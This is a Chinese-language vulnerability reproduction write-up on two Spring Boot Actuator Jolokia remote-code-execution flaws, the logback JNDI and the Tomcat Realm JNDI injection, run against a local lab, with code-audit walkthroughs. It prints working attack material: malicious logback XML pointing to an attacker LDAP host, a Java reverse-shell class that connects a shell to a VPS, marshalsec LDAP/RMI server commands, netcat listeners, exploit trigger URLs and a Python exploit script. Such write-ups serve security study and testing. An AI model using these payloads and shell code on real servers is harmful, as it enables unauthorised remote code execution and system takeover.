Springboot_jolokia_logback漏洞复现

image-20260122031450119

前言:

Jolokia是一款开源产品,用于为JMX(Java Management Extensions)技术提供HTTP API接口。其中,该产品提供了一个API,用于调用在服务器上注册的MBean并读/写其属性。JMX技术用于管理和监视设备、应用程序和网络驱动的服务。

两个漏洞都是Jolokia配置不当导致的RCE漏洞

漏洞一、jolokia logback JNDI RCE

漏洞分析:

Jolokia服务提供了一个代理模式,对于1.5.0之前的版本来说,默认情况下该模式含有一个JNDI注入漏洞。当Jolokia以代理模式进行部署时,可以访问Jolokia Web端点的外部攻击者能够利用JNDI注入攻击远程执行任意代码。这种注入攻击之所以能够得手,是因为Jolokia库使用用户提供的输入来启动LDAP/RMI连接。

在BlackHat USA 2016大会上,HP Enterprise就解释过JNDI攻击,同时,他们还展示了一些将JNDI攻击转换为远程执行代码的方法。

当第三方系统在代理模式下使用Jolokia服务的时候,该系统可以通过Jolokia端点执行远程代码。虽然端点被视为Jolokia的一个组件,但是Jolokia并没有为这个端点提供任何认证机制来保护服务器免受任意攻击者的攻击——尽管其官方文档强烈推荐提供认证机制。

Spring Boot Actuator jolokia 配置不当导致的rce漏洞

原理:

  • 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
  • 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
  • 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
  • xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
  • 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

利用条件:

  • 目标网站存在 /jolokia 或 /actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
  • ldap 注入可能会受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1

因为后续版本已经修复补丁,无法远程调用加载恶意类,注意使用对应版本的jdk不然后面JDNI注入无法利用,这里我使用的java jdk版本是8u181

jdk8u181下载地址:Windows平台

https://gitcode.com/open-source-toolkit/2c17a0/?utm_source=tools_gitcode&index=top&type=card

这也有高版本绕过的方式

https://xz.aliyun.com/news/9485

搭建环境:

漏洞环境为:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce

下载漏洞复现环境,使用idea启动

image-20260120195430013

访问项目启动的url

http://localhost:9094/jolokia

出现如下界面代表成功

image-20260120195753988

这里使用了的火狐自带的方便看json数据的插件

image-20260120195821566

复现过程:

01.查看已存在的 MBeans:

 /jolokia/list 接口搜索关键字:

ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL

image-20260120200118235

image-20260120200132060

02:创建托管的xml文件

在自己 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

image-20260120201035669

在根目录放置以 xml 结尾的 poc.xml 文件,内容如下:

/JNDIObject保证和后续的class文件名要一致,your-vps-ip替换为vps地址,端口要保证后后续的恶意 ldap 服务的端口一致

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/Evil" as="appName" />
</configuration>

03:准备恶意调用类

创建一个弹计算器的恶意类Evil.java在vps上,如下代码:

public class Evil{
    public Evil() throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }
}

这里给出另外一个完整的poc代码命名为JNDIObject.java

//请自行修改代码中反弹shell的ip和端口

/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "your-vps-ip";
            String port = "80";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}

使用兼容低版本 jdk 的方式编译:

javac -source 1.5 -target 1.5 Evil.java

image-20260120201617776

生成了恶意类Evil.class文件备用, 文件拷贝到刚刚用py开启的网站根目录

04:架设恶意 ldap 服务

下载 marshalsec

https://github.com/ianxtianxt/marshalsec

这里发的是源码,需要用mvn编译marshalsec
# 克隆仓库
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
# 进入目录
cd JNDI-Injection-Exploit
# 打包(跳过测试)
mvn clean package -DskipTests

编译完成后,JAR 包会生成在target/目录下,文件名:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

使用下面命令架设对应的 ldap 服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#Evil 1389

image-20260120202621985

05:访问url触发漏洞

http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip:8080!/poc.xml

image-20260120202916259

成功加载恶意类弹出计算器

此时,vps上的日志回显有两条

python服务:

image-20260120203028614

ldap服务:

image-20260120203116861

注意:如果目标成功请求了poc.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求Evil.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。

06:反弹shell到vps上

试试别的操作:(反弹shell到vps上)

使用上面的完整的poc代码命名为JNDIObject.java

ps:注意修改ip和端口

完成后编译恶意类

javac -source 1.5 -target 1.5 JNDIObject.java

生成的JNDIObject.class放在python起的web服务根目录下面

修改poc.xml文件为ian.xml,修改内容如下:

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>

架设idap服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8080/#JNDIObject 1389

image-20260120221431302

启动nc监听反弹 shell 的端口

nc -lvvp 你上一步代码里设置的端口

image-20260120221844051

同样访问漏洞url触发漏洞

http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip:8080!/ian.xml

image-20260120222251557

成功反弹回漏洞环境上windows的shell,且能执行任意命令

vps日志如下:

image-20260120222348423

image-20260120222418162

07:尝试用别的工具打

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

工具安装:
直接从项目 Release 页下载成品 JAR 包:
wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

启动工具:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A your-vps-ip

修改 ian.xml(替换 LDAP 链接)

将你 VPS 上的 poc.xml 内容改为指向工具生成的 LDAP 链接(替换掉之前指向 marshalsec 的地址):

<configuration>
  <!-- 替换为工具生成的 LDAP 链接 -->
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/8alhwo" as="appName" />
</configuration>

启动nc监听和python的web服务

image-20260120221844051

image-20260120201035669

触发漏洞(和之前操作一致)

http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/IP:8080!/ian.xml

若你想简化,也可将 poc.xml 直接放在工具的 HTTP 服务(8180 端口)下,触发 URL 改为:

http://localhost:9094/actuator/jolokia/exec/.../reloadByURL/http:!/!/IP!/poc.xml

虽然有报错,但是也是成功触发弹出计算器

image-20260120225945197

使用javaChains平台打

进入平台后选择JNDI控制器点击一键启动,启动JNDI服务

image-20260121152916849

image-20260121153100700

选择命令执行将生成的随机命令和之前的ian.xml进行替换

ldap://IP:50389/57ee36

<configuration>
  <insertFromJNDI env-entry-name="ldap://IP:50389/57ee36" as="appName" />
</configuration>

同样在XML文件目录下启动pythonWeb服务

python3 -m http.server 8080

访问url触发漏洞

http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/IP:8080!/ian.xml

pythonWeb服务日志显示读取到了ian.xml文件

image-20260121153348454

同样执行成功弹出计算器

image-20260121153711966

idea日志中也有相关显示信息;

image-20260121153633897

ps:复现完漏洞记得关闭关闭平台的JNDI服务

代码审计

在springframework包下的JolokiaMvcEndpoint类中,继承了父类的有参构造,只要节点为jolokia的请求都会经过handler方法

image-20260120232300045

在JmxRequestFactory#createGetRequest方法中使用 Stack<String> elements = EscapeUtil.extractElementsFromPath(pathInfo)通过"/"对路径进行解析。使用!/ 保留/

image-20260120234125872

再进入reloadByURL方法查看

在JMXConfigurator#reloadByURL方法使用JoranConfigurator对象进行配置加载

image-20260121000429759

跟进这个方法,将资源内容输入到流控制器给到in变量,再去调用 doConfigure方法

image-20260121000641418在doConfigure方法,构建了一个输入流对象接着获取systemId。再去调用doConfigure方法

image-20260121001551976跟进doConfigure方法,在recorder.recordEvents中去解析xml文件

image-20260121001912443

解析xml文件

image-20260121005415781

解析完xml文件内容之后,再一次调用了doConfigure方法

image-20260121002717708

步过后又去调用了一个play方法

image-20260121012501030

在play方法中对xml文件内容进行了遍历,第二遍遍历到了ldap

image-20260121012858688

跟进startElement方法,

image-20260121013011899

发现又调用了startElement方法。其调用了callBeginAction方法

image-20260121013729553

跟进callBeginAction方法,调用begin方法

image-20260121014015120

跟进begin方法,使用ec.subst解析xml文件内容获取值,直接跳到第三个循环中。可以看到调用了JNDIUtil.lookup方法访问恶意的ldap服务

image-20260121014906962

漏洞二:jolokia Realm JNDI RCE

漏洞分析

Jolokia是一个用来访问远程 JMX MBeans的方法,它允许对所有已经注册的MBean进行Http访问

  1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
  2. 设置 connectionURL 地址为 RMI Service URL
  3. 设置 contextFactory 为 RegistryContextFactory
  4. 停止 Realm
  5. 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞

利用条件

目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
目标可以请求攻击者的服务器(请求可出外网)
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过

利用脚本
https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py


漏洞环境

仍然采用和漏洞一同样的环境。

启动项目后访问http://localhost:9094/jolokia/list

复现过程:

复现过程和漏洞一差不多,这里我直接省去步骤使用工具打

01.查看已存在的 MBeans:

/jolokia/list 接口搜索关键字:  type=MBeanFactorycreateJNDIRealm

image-20260122020421535

image-20260122020432733

03.架设恶意的RMI服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "command" -A vps_ip

image-20260122021712512

使用jdk1.8中的rmi服务:

rmi://IP:1099/d1c8zq

02.修改POC脚本:

image-20260122022710530

修改其中的url和rmi行的代码

04:反弹shell到vps:

启动nc服务:

nc -lvvp 443

执行poc后

成功在vps接收到日志:

image-20260122023556586

nc也接受到了信息

image-20260120222251557

使用别的工具打

或者使用之前漏洞一的完整poc脚本来生成class文件

使用python在生成的class文件根目录下启动web服务

image-20260122024000083

架设恶意 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:8080/#JNDIObject 1389

nc监听反弹 shell 的端口(注意这个端口要和之前的poc脚本一致)

nc -lvvp 80

使用EXP:

url = ‘http://localhost:9094/jolokia/' 改为漏洞地址

“value”: “rmi://192.168.144.27:1389/#JNDIObject” 改为自己的RMI地址

#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt


import requests


url = 'http://localhost:9094/jolokia/'

create_realm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}
wirte_factory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
write_url = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://192.168.144.27:1389/#JNDIObject"
}
stop = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}
start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}
flow = [create_realm, wirte_factory, write_url, stop, start]
for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i,verify=False)
    r.json()
    print(r.status_code)

image-20260122031000124

成功在vps接收到日志:

image-20260122023556586

nc也接受到了信息

image-20260120222251557

代码审计

org\apache\tomcat\embed\tomcat-embed-core\8.5.15\tomcat-embed-core-8.5.15.jar!\org\apache\catalina\mbeans\MBeanFactory.class找到了 createJNDIRealm的定义
image-20260122025244963

总结:和JNDI差不多的利用过程,只不过rmi不需要解析xml文件

自动化工具&检测脚本

jolokia Realm JNDI RCE 漏洞检测,并获取明文密码:

https://github.com/zhaoyumi/jolokia_Realm_JNDI_RCE_Check

image-20260122010953065

Jolokia 利用工具包(JET)帮助利用暴露的 Jolokia 端点:

https://github.com/laluka/jolokia-exploitation-toolkit

image-20260122013406288

Realm JNDI利用脚本:

https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py

参考:

jdk不同版本的利用

https://xz.aliyun.com/t/10035

Spring Boot Actuator jolokia 配置不当导致的rce漏洞

https://github.com/Ares-X/VulWiki/blob/master/Web%E5%AE%89%E5%85%A8/Spring%20Boot/Spring%20Boot%20Actuator%20jolokia%20%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84rce%E6%BC%8F%E6%B4%9E.md

Spring Boot漏洞exploit利用方法渗透技巧汇总

https://www.freebuf.com/articles/web/271347.html

Spring未授权REC利用方式三(jolokia接口/jolokia Realm JNDI RCE

https://www.cnblogs.com/hei-zi/p/14344743.html